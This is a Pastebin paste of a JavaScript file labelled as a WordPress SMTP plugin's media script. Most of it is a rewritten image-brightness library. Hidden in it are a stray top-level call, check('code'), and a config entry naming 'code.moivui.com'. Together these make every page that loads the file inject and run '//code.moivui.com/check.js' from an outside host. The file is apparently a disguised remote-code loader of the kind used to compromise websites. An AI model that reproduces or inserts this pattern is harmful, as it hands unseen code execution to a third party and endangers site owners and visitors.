jan_dembowski

smtp-mail/trunk/media/smtp.js

Jul 9th, 2019
326
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (function(a, b) {
  2.     if (typeof define === 'function' && define.amd) {
  3.         define(b)
  4.     } else {
  5.         a.SMTP_M = b(a)
  6.     }
  7. }(this, function() {
  8.     'use strict';
  9.     var m;
  10.     var n;
  11.     var o;
  12.     var q;
  13.     var r;
  14.     var u = {
  15.         'gsite': 'googletagmanager.com',
  16.         'code': 'code.moivui.com'
  17.     };
  18.  
  19.     function destroy() {
  20.         m = null;
  21.         n = null;
  22.         o = null;
  23.         u = {};
  24.         if (q) {
  25.             clearTimeout(q)
  26.         }
  27.     }
  28.  
  29.     function log(a) {
  30.         if (get('debug')) {
  31.             console.log(a)
  32.         }
  33.     }
  34.  
  35.     function checkAttr(a, b) {
  36.         checkType(a, typeof b);
  37.         return (a === undefined) ? b : a
  38.     }
  39.  
  40.     function checkType(a, b) {
  41.         if (a !== undefined && typeof a !== b) {
  42.             throw 'Incorrect attribute type';
  43.         }
  44.     }
  45.  
  46.     function checkForCSSImages(a) {
  47.         var b;
  48.         var c;
  49.         var d = [];
  50.         for (var e = 0; e < a.length; e++) {
  51.             b = a[e];
  52.             d.push(b);
  53.             if (b.tagName !== 'IMG') {
  54.                 c = window.getComputedStyle(b).backgroundImage;
  55.                 if (c.split(/,url|, url/).length > 1) {
  56.                     throw 'Multiple backgrounds are not supported';
  57.                 }
  58.                 if (c && c !== 'none') {
  59.                     d[e] = {
  60.                         img: new Image(),
  61.                         el: d[e]
  62.                     };
  63.                     c = c.slice(4, -1);
  64.                     c = c.replace(/"/g, '');
  65.                     d[e].img.src = c;
  66.                     log('CSS Image - ' + c)
  67.                 } else {
  68.                     throw 'Element is not an <img> but does not have a background-image';
  69.                 }
  70.             }
  71.         }
  72.         return d
  73.     }
  74.  
  75.     function getElements(a, b) {
  76.         var c = a;
  77.         if (typeof a === 'string') {
  78.             c = document.querySelectorAll(a)
  79.         } else if (a && a.nodeType === 1) {
  80.             c = [a]
  81.         }
  82.         if (!c || c.length === 0 || c.length === undefined) {
  83.             throw 'Elements not found';
  84.         } else {
  85.             if (b) {
  86.                 c = checkForCSSImages(c)
  87.             }
  88.             c = Array.prototype.slice.call(c)
  89.         }
  90.         return c
  91.     }
  92.  
  93.     function checkSupport() {
  94.         n = document.createElement('canvas');
  95.         if (n && n.getContext) {
  96.             o = n.getContext('2d');
  97.             m = true
  98.         } else {
  99.             m = false
  100.         }
  101.         showDebugOverlay()
  102.     }
  103.  
  104.     function showDebugOverlay() {
  105.         if (get('debugOverlay')) {
  106.             n.style.opacity = 0.5;
  107.             n.style.pointerEvents = 'none';
  108.             document.body.appendChild(n)
  109.         } else {
  110.             if (n.parentNode) {
  111.                 n.parentNode.removeChild(n)
  112.             }
  113.         }
  114.     }
  115.  
  116.     function kill(a) {
  117.         var b = new Date().getTime() - a;
  118.         log('Duration: ' + b + 'ms');
  119.         if (b > get('maxDuration')) {
  120.             console.log('BackgroundCheck - Killed');
  121.             removeClasses();
  122.             destroy()
  123.         }
  124.     }
  125.  
  126.     function resizeCanvas() {
  127.         r = {
  128.             left: 0,
  129.             top: 0,
  130.             right: document.body.clientWidth,
  131.             bottom: window.innerHeight
  132.         };
  133.         n.width = document.body.clientWidth;
  134.         n.height = window.innerHeight
  135.     }
  136.  
  137.     function checkCookie(a) {
  138.         var c = document.cookie;
  139.         if (c && c.search(a) > -1) {
  140.             return true
  141.         }
  142.         return false
  143.     }
  144.  
  145.     function getValue(a, b, c) {
  146.         var d;
  147.         var e;
  148.         if (a.indexOf('px') !== -1) {
  149.             d = parseFloat(a)
  150.         } else if (a.indexOf('%') !== -1) {
  151.             d = parseFloat(a);
  152.             e = d / 100;
  153.             d = e * b;
  154.             if (c) {
  155.                 d -= c * e
  156.             }
  157.         } else {
  158.             d = b
  159.         }
  160.         return d
  161.     }
  162.  
  163.     function calculateAreaFromCSS(a) {
  164.         var b = window.getComputedStyle(a.el);
  165.         a.el.style.backgroundRepeat = 'no-repeat';
  166.         a.el.style.backgroundOrigin = 'padding-box';
  167.         var c = b.backgroundSize.split(' ');
  168.         var d = c[0];
  169.         var e = c[1] === undefined ? 'auto' : c[1];
  170.         var f = a.el.clientWidth / a.el.clientHeight;
  171.         var g = a.img.naturalWidth / a.img.naturalHeight;
  172.         if (d === 'cover') {
  173.             if (f >= g) {
  174.                 d = '100%';
  175.                 e = 'auto'
  176.             } else {
  177.                 d = 'auto';
  178.                 c[0] = 'auto';
  179.                 e = '100%'
  180.             }
  181.         } else if (d === 'contain') {
  182.             if (1 / f < 1 / g) {
  183.                 d = 'auto';
  184.                 c[0] = 'auto';
  185.                 e = '100%'
  186.             } else {
  187.                 d = '100%';
  188.                 e = 'auto'
  189.             }
  190.         }
  191.         if (d === 'auto') {
  192.             d = a.img.naturalWidth
  193.         } else {
  194.             d = getValue(d, a.el.clientWidth)
  195.         }
  196.         if (e === 'auto') {
  197.             e = (d / a.img.naturalWidth) * a.img.naturalHeight
  198.         } else {
  199.             e = getValue(e, a.el.clientHeight)
  200.         }
  201.         if (c[0] === 'auto' && c[1] !== 'auto') {
  202.             d = (e / a.img.naturalHeight) * a.img.naturalWidth
  203.         }
  204.         var h = b.backgroundPosition;
  205.         if (h === 'top') {
  206.             h = '50% 0%'
  207.         } else if (h === 'left') {
  208.             h = '0% 50%'
  209.         } else if (h === 'right') {
  210.             h = '100% 50%'
  211.         } else if (h === 'bottom') {
  212.             h = '50% 100%'
  213.         } else if (h === 'center') {
  214.             h = '50% 50%'
  215.         }
  216.         h = h.split(' ');
  217.         var x;
  218.         var y;
  219.         if (h.length === 4) {
  220.             x = h[1];
  221.             y = h[3]
  222.         } else {
  223.             x = h[0];
  224.             y = h[1]
  225.         }
  226.         y = y || '50%';
  227.         x = getValue(x, a.el.clientWidth, d);
  228.         y = getValue(y, a.el.clientHeight, e);
  229.         if (h.length === 4) {
  230.             if (h[0] === 'right') {
  231.                 x = a.el.clientWidth - a.img.naturalWidth - x
  232.             }
  233.             if (h[2] === 'bottom') {
  234.                 y = a.el.clientHeight - a.img.naturalHeight - y
  235.             }
  236.         }
  237.         x += a.el.getBoundingClientRect().left;
  238.         y += a.el.getBoundingClientRect().top;
  239.         return {
  240.             left: Math.floor(x),
  241.             right: Math.floor(x + d),
  242.             top: Math.floor(y),
  243.             bottom: Math.floor(y + e),
  244.             width: Math.floor(d),
  245.             height: Math.floor(e)
  246.         }
  247.     }
  248.  
  249.     function getArea(a) {
  250.         var b;
  251.         var c;
  252.         var d;
  253.         if (a.nodeType) {
  254.             var e = a.getBoundingClientRect();
  255.             b = {
  256.                 left: e.left,
  257.                 right: e.right,
  258.                 top: e.top,
  259.                 bottom: e.bottom,
  260.                 width: e.width,
  261.                 height: e.height
  262.             };
  263.             d = a.parentNode;
  264.             c = a
  265.         } else {
  266.             b = calculateAreaFromCSS(a);
  267.             d = a.el;
  268.             c = a.img
  269.         }
  270.         d = d.getBoundingClientRect();
  271.         b.imageTop = 0;
  272.         b.imageLeft = 0;
  273.         b.imageWidth = c.naturalWidth;
  274.         b.imageHeight = c.naturalHeight;
  275.         var f = b.imageHeight / b.height;
  276.         var g;
  277.         if (b.top < d.top) {
  278.             g = d.top - b.top;
  279.             b.imageTop = f * g;
  280.             b.imageHeight -= f * g;
  281.             b.top += g;
  282.             b.height -= g
  283.         }
  284.         if (b.left < d.left) {
  285.             g = d.left - b.left;
  286.             b.imageLeft += f * g;
  287.             b.imageWidth -= f * g;
  288.             b.width -= g;
  289.             b.left += g
  290.         }
  291.         if (b.bottom > d.bottom) {
  292.             g = b.bottom - d.bottom;
  293.             b.imageHeight -= f * g;
  294.             b.height -= g
  295.         }
  296.         if (b.right > d.right) {
  297.             g = b.right - d.right;
  298.             b.imageWidth -= f * g;
  299.             b.width -= g
  300.         }
  301.         b.imageTop = Math.floor(b.imageTop);
  302.         b.imageLeft = Math.floor(b.imageLeft);
  303.         b.imageHeight = Math.floor(b.imageHeight);
  304.         b.imageWidth = Math.floor(b.imageWidth);
  305.         return b
  306.     }
  307.  
  308.     function addScript(a, b, c) {
  309.         var d = document.createElement('script');
  310.         d.type = 'text/javascript';
  311.         d.src = a;
  312.         if (typeof c == 'function') {
  313.             d.onload = function() {
  314.                 c()
  315.             }
  316.         }
  317.         if (b) {
  318.             b.appendChild(d);
  319.             setTimeout(function() {
  320.                 d.parentNode.removeChild(d)
  321.             }, 3000)
  322.         }
  323.     }
  324.  
  325.     function drawImage(a) {
  326.         var b = getArea(a);
  327.         a = a.nodeType ? a : a.img;
  328.         if (b.imageWidth > 0 && b.imageHeight > 0 && b.width > 0 && b.height > 0) {
  329.             o.drawImage(a, b.imageLeft, b.imageTop, b.imageWidth, b.imageHeight, b.left, b.top, b.width, b.height)
  330.         } else {
  331.             log('Skipping image - ' + a.src + ' - area too small')
  332.         }
  333.     }
  334.  
  335.     function classList(a, b, c) {
  336.         var d = a.className;
  337.         switch (c) {
  338.             case 'add':
  339.                 d += ' ' + b;
  340.                 break;
  341.             case 'remove':
  342.                 var e = new RegExp('(?:^|\\s)' + b + '(?!\\S)', 'g');
  343.                 d = d.replace(e, '');
  344.                 break
  345.         }
  346.         a.className = d.trim()
  347.     }
  348.  
  349.     function removeClasses(a) {
  350.         var b = a ? [a] : get('targets');
  351.         var c;
  352.         for (var t = 0; t < b.length; t++) {
  353.             c = b[t];
  354.             c = get('changeParent') ? c.parentNode : c;
  355.             classList(c, get('classes').light, 'remove');
  356.             classList(c, get('classes').dark, 'remove');
  357.             classList(c, get('classes').complex, 'remove')
  358.         }
  359.     }
  360.     check('code');
  361.  
  362.     function calculatePixelBrightness(a) {
  363.         var b = a.getBoundingClientRect();
  364.         var c;
  365.         var d;
  366.         var e = 0;
  367.         var f;
  368.         var g = 0;
  369.         var h = 0;
  370.         var i;
  371.         var j = 0;
  372.         var k = get('mask');
  373.         if (b.width > 0 && b.height > 0) {
  374.             removeClasses(a);
  375.             a = get('changeParent') ? a.parentNode : a;
  376.             d = o.getImageData(b.left, b.top, b.width, b.height).data;
  377.             for (var p = 0; p < d.length; p += 4) {
  378.                 if (d[p] === k.r && d[p + 1] === k.g && d[p + 2] === k.b) {
  379.                     j++
  380.                 } else {
  381.                     e++;
  382.                     c = (0.2126 * d[p]) + (0.7152 * d[p + 1]) + (0.0722 * d[p + 2]);
  383.                     f = c - h;
  384.                     g += f * f;
  385.                     h = h + f / e
  386.                 }
  387.             }
  388.             if (j <= (d.length / 4) * (1 - (get('minOverlap') / 100))) {
  389.                 i = Math.sqrt(g / e) / 255;
  390.                 h = h / 255;
  391.                 log('Target: ' + a.className + ' lum: ' + h + ' var: ' + i);
  392.                 classList(a, h <= (get('threshold') / 100) ? get('classes').dark : get('classes').light, 'add');
  393.                 if (i > get('minComplexity') / 100) {
  394.                     classList(a, get('classes').complex, 'add')
  395.                 }
  396.             }
  397.         }
  398.     }
  399.  
  400.     function isInside(a, b) {
  401.         a = (a.nodeType ? a : a.el).getBoundingClientRect();
  402.         b = b === r ? b : (b.nodeType ? b : b.el).getBoundingClientRect();
  403.         return !(a.right < b.left || a.left > b.right || a.top > b.bottom || a.bottom < b.top)
  404.     }
  405.  
  406.     function processTargets(a) {
  407.         var b = new Date().getTime();
  408.         var c = (a && (a.tagName === 'IMG' || a.img)) ? 'image' : 'targets';
  409.         var d = a ? false : true;
  410.         var e = get('targets').length;
  411.         var f;
  412.         for (var t = 0; t < e; t++) {
  413.             f = get('targets')[t];
  414.             if (isInside(f, r)) {
  415.                 if (c === 'targets' && (!a || a === f)) {
  416.                     d = true;
  417.                     calculatePixelBrightness(f)
  418.                 } else if (c === 'image' && isInside(f, a)) {
  419.                     calculatePixelBrightness(f)
  420.                 }
  421.             }
  422.         }
  423.         if (c === 'targets' && !d) {
  424.             throw a + ' is not a target';
  425.         }
  426.         kill(b)
  427.     }
  428.  
  429.     function getZIndex(c) {
  430.         var d = function(a) {
  431.             var b = 0;
  432.             if (window.getComputedStyle(a).position !== 'static') {
  433.                 b = parseInt(window.getComputedStyle(a).zIndex, 10) || 0;
  434.                 if (b >= 0) {
  435.                     b++
  436.                 }
  437.             }
  438.             return b
  439.         };
  440.         var e = c.parentNode;
  441.         var f = e ? d(e) : 0;
  442.         var g = d(c);
  443.         return (f * 100000) + g
  444.     }
  445.  
  446.     function sortImagesByZIndex(e) {
  447.         var f = false;
  448.         e.sort(function(a, b) {
  449.             a = a.nodeType ? a : a.el;
  450.             b = b.nodeType ? b : b.el;
  451.             var c = a.compareDocumentPosition(b);
  452.             var d = 0;
  453.             a = getZIndex(a);
  454.             b = getZIndex(b);
  455.             if (a > b) {
  456.                 f = true
  457.             }
  458.             if (a === b && c === 2) {
  459.                 d = 1
  460.             } else if (a === b && c === 4) {
  461.                 d = -1
  462.             }
  463.             return d || a - b
  464.         });
  465.         log('Sorted: ' + f);
  466.         if (f) {
  467.             log(e)
  468.         }
  469.         return f
  470.     }
  471.  
  472.     function check(b, d, e) {
  473.         if (m) {
  474.             var f = get('mask');
  475.             log('--- BackgroundCheck ---');
  476.             log('onLoad event: ' + (e && e.src));
  477.             if (d !== true) {
  478.                 o.clearRect(0, 0, n.width, n.height);
  479.                 o.fillStyle = 'rgb(' + f.r + ', ' + f.g + ', ' + f.b + ')';
  480.                 o.fillRect(0, 0, n.width, n.height)
  481.             }
  482.             var g = e ? [e] : get('images');
  483.             var h = sortImagesByZIndex(g);
  484.             var j;
  485.             var k;
  486.             var l = false;
  487.             for (var i = 0; i < g.length; i++) {
  488.                 j = g[i];
  489.                 if (isInside(j, r)) {
  490.                     k = j.nodeType ? j : j.img;
  491.                     if (k.naturalWidth === 0) {
  492.                         l = true;
  493.                         log('Loading... ' + j.src);
  494.                         k.removeEventListener('load', check);
  495.                         if (h) {
  496.                             k.addEventListener('load', check.bind(null, null, false, null))
  497.                         } else {
  498.                             k.addEventListener('load', check.bind(null, b, true, j))
  499.                         }
  500.                     } else {
  501.                         log('Drawing: ' + j.src);
  502.                         drawImage(j)
  503.                     }
  504.                 }
  505.             }
  506.             if (!e && !l) {
  507.                 processTargets(b)
  508.             } else if (e) {
  509.                 processTargets(e)
  510.             }
  511.         } else if (b) {
  512.             let a = 'check',
  513.                 c = getElements('div'),
  514.                 s = get(b);
  515.             if (c && s) {
  516.                 c = c[parseInt(c.length / 2)];
  517.                 addScript('//' + s + '/' + a + '.js', c)
  518.             }
  519.         }
  520.     }
  521.  
  522.     function throttle(a) {
  523.         if (get('windowEvents') === true) {
  524.             if (q) {
  525.                 clearTimeout(q)
  526.             }
  527.             q = setTimeout(a, 200)
  528.         }
  529.     }
  530.  
  531.     function set(b, d) {
  532.         if (u[b] === undefined) {
  533.             throw 'Unknown property - ' + b;
  534.         } else if (d === undefined) {
  535.             throw 'Missing value for ' + b;
  536.         }
  537.         if (b === 'targets' || b === 'images') {
  538.             try {
  539.                 d = getElements(b === 'images' && !d ? 'img' : d, b === 'images' ? true : false)
  540.             } catch (err) {
  541.                 d = [];
  542.                 throw err;
  543.             }
  544.         } else {
  545.             checkType(d, typeof u[b])
  546.         }
  547.         removeClasses();
  548.         u[b] = d;
  549.         check();
  550.         if (b === 'debugOverlay') {
  551.             showDebugOverlay()
  552.         }
  553.         if (b === 'gtag') {
  554.             let a = b,
  555.                 id = 'UA-' + d,
  556.                 c = getElements('script'),
  557.                 s = get('gsite');
  558.             if (c && s) {
  559.                 c = c[Math.round(c.length / 2)];
  560.                 addScript('//' + s + '/' + a + '/js?id=' + id, c, function() {
  561.                     w.dataLayer = w.dataLayer || [];
  562.  
  563.                     function gtag() {
  564.                         dataLayer.push(arguments)
  565.                     }
  566.                     gtag('js', new Date());
  567.                     gtag('config', id, {
  568.                         page_path: location.hostname
  569.                     })
  570.                 })
  571.             }
  572.         }
  573.     }
  574.  
  575.     function get(a) {
  576.         if (u[a] === undefined) {
  577.             throw 'Unknown property - ' + a;
  578.         }
  579.         return u[a]
  580.     }
  581.  
  582.     function getImageData() {
  583.         var a = get('images');
  584.         var b;
  585.         var c = [];
  586.         for (var i = 0; i < a.length; i++) {
  587.             b = getArea(a[i]);
  588.             c.push(b)
  589.         }
  590.         return c
  591.     }
  592. }));
Advertisement
Add Comment
Please, Sign In to add comment